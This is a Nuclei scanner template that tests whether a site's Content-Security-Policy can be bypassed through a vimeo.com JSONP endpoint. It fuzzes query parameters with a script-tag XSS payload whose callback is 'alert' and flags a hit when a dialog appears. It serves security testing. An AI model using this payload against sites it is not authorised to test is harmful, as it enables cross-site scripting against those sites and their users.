id: vimeo-csp-bypass

info:
  name: Content-Security-Policy Bypass - Vimeo
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,vimeo,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "vimeo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: vimeo_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://vimeo.com/api/v2/video/1006042481.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "vimeo_csp_xss == true"
# digest: 4a0a00473045022100c0144e6d68a3a0cda8e58efef0345767984b3c5197ebd8e4559eba6e4bd179aa02200bd3fdb9c160c89dabdea50fdb6dde615b4195917f0f81bc07facfd90ac509ad:922c64590222798bb761d5b6d8e72950